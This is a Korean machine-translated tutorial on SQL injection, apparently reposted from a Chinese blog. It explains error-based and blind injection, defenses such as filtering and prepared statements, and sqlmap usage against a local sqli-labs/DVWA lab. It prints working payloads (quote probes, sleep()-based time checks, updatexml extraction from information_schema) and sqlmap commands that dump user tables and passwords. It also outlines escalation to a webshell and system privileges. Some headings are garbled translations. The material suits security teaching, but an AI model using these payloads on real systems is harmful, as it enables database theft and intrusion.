SQL 인젝션 공격 및 보호

목차

1. SQL 인젝션 공격 개요

1.1 SQL 주입 개념

1.1.1 표준 쿼리 프로세스

1.1.2 SQL 인젝션 정의

1.2 SQL 주입의 근본 원인

1.3 SQL 인젝션 조건

1.4 SQL 인젝션 방지

1.4.1 근본 원인: 필터링 불량

1.4.2 보안 설계 원칙: 데이터와 코드의 분리

1.5 SQL 인젝션 프로세스

1.6 SQL 주입 분류

1.6.1 에코 주입

1.6.2 맹주

2. 에코 주입 공격

2.1 주입 지점 찾기

2.1.1 일반적으로 사용되는 문장

2.1.2 페이지 피드백 

2.2 양자단수

2.2.1 자주 사용하는 명령어

2.2.2 코드 설명

2.3 MySQL 데이터베이스

2.3.1 MySQL 시스템 기능

3. SQL 블라인드 인젝션 공격

3.1 블라인드 SQL 인젝션의 특징

3.1.1 참과 거짓만

3.1.2 유효한 데이터베이스 정보가 없음

3.2 SQL 블라인드 주입 분류

3.2.1 부울 블라인드

3.2.2 타임 블라인드

3.2.3 오류 블라인드

3.3 블라인드 주입의 일반적인 개념

4. SQL 인젝션 공격 방어

4.1 SQL 삽입 방지 아이디어

4.1.1 SQL 인젝션의 핵심 조건

4.1.2 SQL 주입의 본질

4.1.3 보안 설계 원칙

4.2 SQL 주입 방지 방법

4.2.1 파라미터 필터링

4.2.2 프리컴파일 처리

5. SQLMap 사용

5.1 SQL 삽입 도구

5.1.1 SQL맵

5.1.2 아 디

5.1.3 소년

5.2 SQLMap의 사용

5.2.1 SQLMap 소개

5.2.2 특정 사용 단계(GET 유형)


1. SQL 인젝션 공격 개요

1.1 SQL 주입 개념

1.1.1 표준 쿼리 프로세스

1.1.2 SQL 인젝션 정의

공격자는 웹 폼의 입력 필드페이지 요청의 쿼리 문자열 에 SQL 명령을 삽입 하고 삽입된 악성 SQL 명령은 원래 SQL 문의 기능을 변경시켜 서버를 속이는 공격 방법을 얻습니다. 악성 SQL 명령을 실행합니다.

1.2 SQL 주입의 근본 원인

사용자 입력 데이터의 합법성에 대한 판단이 없습니다.

1.3 SQL 인젝션 조건

  • 사용자는 입력 매개변수를 제어 할 수 있으며 프론트엔드에서 백엔드로 전달되는 매개변수의 내용은 사용자가 제어할 수 있습니다.
  • 사용자가 입력한 매개변수는 SQL 문에 스플라이싱되어 데이터베이스 쿼리로 가져와 실행될 코드가 됩니다 .

1.4 SQL 인젝션 방지

1.4.1 근본 원인: 필터링 불량

1.4.2 보안 설계 원칙: 데이터와 코드의 분리

1.5 SQL 인젝션 프로세스

  • 웹 시스템에서 사용하는 스크립팅 언어 파악, 인젝션 포인트 찾기, SQL 인젝션 취약점 여부 판단
  • 웹 시스템의 데이터베이스 유형 결정
  • 판단 테이블의 구조와 판단 데이터베이스의 해당 필드를 결정합니다.
  • 주입문을 구성하여 테이블의 데이터 콘텐츠를 가져옵니다.
  • 사이트 배경을 찾아 SQL 주입으로 얻은 관리자 계정과 비밀번호로 로그인
  • 다른 취약점과 결합하여 Webshell을 업로드하고 계속 연결
  • 서버의 시스템 권한을 얻기 위한 추가 권한 상승
  • 주입 지점 찾기
  • 라이브러리 이름 확인
  • 조회 테이블 이름
  • 필드 이름 확인
  • 주요 데이터 확인

1.6 SQL 주입 분류

1.6.1 에코 주입

즉, 사용자가 쿼리 요청을 시작하고 서버는 디스플레이를 위해 쿼리 결과를 페이지로 반환합니다.

1.6.2 맹주

블라인드 인젝션의 특징은 사용자가 요청을 시작한다는 것입니다.이 요청은 반드시 쿼리일 필요는 없습니다.서버는 데이터베이스 쿼리 요청에 응답하고 특정 쿼리 결과를 표시 하지 않고 결과를 반환합니다 . 사용자 등록과 같은 일반적인 시나리오에서는 등록 성공 여부에 대한 프롬프트만 표시되며 데이터베이스 콘텐츠는 표시되지 않습니다.

2. 에코 주입 공격

2.1 주입 지점 찾기

2.1.1 일반적으로 사용되는 문장

' //单引号测试
1' and '1'='1 //恒真测试
1' and '1'='2 //恒假测试

2.1.2 페이지 피드백 

  • 페이지에 대한 변경 사항이 없습니다. 위의 세 가지 상황의 페이지에는 차이가 없습니다. 즉, 이 쿼리 포인트에 대한 백그라운드 필터가 상대적으로 엄격하고 SQL 주입 취약점이 있는지 여부를 추적해야 합니다.
  • 일부 콘텐츠가 페이지에서 누락되었습니다. 앞의 두 경우는 정상이지만 세 번째 경우는 분명히 누락된 페이지가 있다면 기본적으로 SQL 인젝션 취약점이 있는 것으로 확인하고 다음 단계로 계속 판단할 수 있다.
  • 오류가 에코됩니다. 세 번째 연결에 접속한 후 데이터베이스 오류 메시지가 나타난다면 인젝션이 있는 것이 분명한데 인젝션은 에코 인젝션 방식을 사용한다.
  • 기본 인터페이스로 이동합니다. 첫 번째 경우는 정상이지만 두 번째와 세 번째 경우는 홈페이지와 기본 페이지로 바로 이동하기 때문에 백그라운드에서 인증 로직이 있을 수 있습니다.
  • 연결을 직접 닫습니다. 위의 두 번째와 세 번째 상황에서 접속에 실패하면 보호 도구를 켜고 온라인에서 차단할 수 있습니다.

2.2 양자단수

2.2.1 자주 사용하는 명령어

  • order by(테이블의 열 수 확인)
  • 합집합(에코의 특정 필드 비트를 판단하여 일반적으로 이전 명령문을 거짓으로 구성)

2.2.2 코드 설명

1' order by 1 #
1' order by 5 #

댓글: #, (%23), --+

2.3 MySQL 데이터베이스

2.3.1 MySQL 시스템 기능

version() //返回当前数据库的版本信息
user() //返回当前用户
database() //返回当前数据库名
Group_concat() //将查询结果连接成字符串

2.3.2 SQL 삽입 위험

  • 불법 로그인 우회 탐지
  • 주요 정보 불법 조회

3. SQL 블라인드 인젝션 공격

3.1 블라인드 SQL 인젝션의 특징

3.1.1 참과 거짓만

3.1.2 유효한 데이터베이스 정보가 없음

반환된 결과가 참 또는 거짓이 되도록 에코 주입 문에 판단 방법이 추가됩니다.

3.2 SQL 블라인드 주입 분류

3.2.1 부울 블라인드

Boolean blind injection은 SQL 판단문을 구성하기 위한 것입니다.

1' and length(database())>=5 #
1' and substr(database(),1,1)=d #
" and ord(substr(database(),3,1))=119 #

3.2.2 타임 블라인드

  • 타임 블라인드 주입은 시간 기능을 사용하여 다른 조건의 대기 시간을 관찰하는 것입니다. MySQL의 배치 시간을 길게 하려면 Sleep() 또는 벤치마크()와 같은 함수를 사용하십시오.
  • 시간맹 교육 주입은 종종 if(expr1, expr2, expr3) 함수와 함께 사용되며 여기서 expr1이 True이면 반환 값은 expr2의 값이고 그렇지 않으면 expr3의 값입니다.
If(length(database())>3, sleep(5),1)
lf(substr(database() ,1,1)='d', sleep(5),1)

3.2.3 오류 블라인드

특수 매개변수 형식을 구성하고 일부 함수의 오류 정보를 사용하여 주입합니다. 예를 들어 updatexml(XML_document, XPath_string, new_value)은 XML_document의 XPath_ string 값을 new_value로 바꿉니다. 안에:

  • XML_document: 문자열 형식, XML 문서 객체의 이름
  • XPath_string: XPath 형식의 문자열
  • new_value: 문자열 형식, 찾은 검증된 데이터 대체
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) //0x7e是~的十六进制ASCLL值
→ ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'

데이터베이스 dvwa에서 테이블 이름을 가져옵니다.

updatexml(1,concat(0x7e,(SELECT table_name from information_schema,tables where 
table_schema='dvwa' limit 0,1),0x7e),1) //报错注入只显示一条结果,故使用 limit 语句

3.3 블라인드 주입의 일반적인 개념

쿼리하려는 데이터를 대상으로 삼아 SQL 조건부 판단문을 구성하고 쿼리할 데이터와 비교하여 데이터베이스가 현재 명령문 배치가 올바른지 여부를 알려줍니다.

4. SQL 인젝션 공격 방어

4.1 SQL 삽입 방지 아이디어

4.1.1 SQL 인젝션의 핵심 조건

  • 사용자가 제어할 수 있는 입력
  • 데이터베이스 쿼리로 가져온 매개변수

4.1.2 SQL 주입의 본질

사용자 입력을 코드로 실행

4.1.3 보안 설계 원칙

데이터 및 코드 분리

4.2 SQL 주입 방지 방법

4.2.1 파라미터 필터링

① 파라미터 타입 제한

  • 매개변수 유형 제한: 디지털 유형 결정 is_numeric(), cytpe_digit() 등과 같은 유형 결정 기능
  • 매개변수 길이 제한: strlen() 등

② 위험문자 취급

  • 블랙리스트 필터링: union, \, ', select 등과 같은 preg_replace() 함수를 사용하여 매개변수에서 민감한 문자를 필터링합니다.
  • 화이트리스트 필터링 : 화이트리스트에 해당하는 사람만 통과 가능
  • 매개변수 이스케이프: mysgli_real_escape_string 함수를 사용하여 특수 기호를 이스케이프 처리합니다.

4.2.2 프리컴파일 처리

명령문을 준비하고, 변수를 바인딩하고, 매개변수화된 쿼리를 수행합니다. 데이터베이스 서버는 매개변수로 실행하기 전에 데이터베이스에서 SQL 명령의 컴파일을 완료하고 매개변수 인 경우에만 매개변수가 데이터베이스에 의해 실행되지 않습니다 .

5. SQLMap 사용

5.1 SQL 삽입 도구

5.1.1 SQL맵

5.1.2 아 디

5.1.3 소년

5.2 SQLMap의 사용

5.2.1 SQLMap 소개

① 개요

Python으로 작성된 오픈 소스 자동화 SQL 삽입 도구

② 주요기능

주어진 URL에 대한 SQL 인젝션 취약점 스캔, 발견 및 악용

③ 특징

  • MySQL, Oracle, PostgreSQL, Microsoft SQL Server.Microsoft Access, IBM DB2, SQLite, Firebird, Sybase.SAP MaxDB, HSQLDB 및 Informix 등 다양한 데이터베이스 관리 시스템을 완벽하게 지원합니다.
  • 5가지 SQL 주입 기술 공동 쿼리 주입 지원: 마켓 블라인드 주입, 타임 블라인드 주입, 오류 블라인드 주입, 힙 쿼리 주입
  • 사용자, 암호, 해시, 권한, 역할, 데이터베이스, 테이블 및 열 열거 지원
  • 암호 해시 형식의 자동 식별 및 사전을 통한 암호 해시 크래킹 지원

5.2.2 특정 사용 단계(GET 유형)

① 주사 여부 판단

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"

② 폭발창고

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --dbs

③ 버스트

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --tables -D security

④ 폭발

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"--columns -T users -D security

⑤ 버스트 데이터

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1” --dump -cpassword,username -T users -D security

POST 형식 : sqlmap.py -r 3.txt --dbs

쿠키 유형 : sqlmap.py -u “127.0.0.1/sqli-1abs/Less-20/" --cookie "uname=admin" --level 2

추천

출처blog.csdn.net/weixin_62707591/article/details/131310043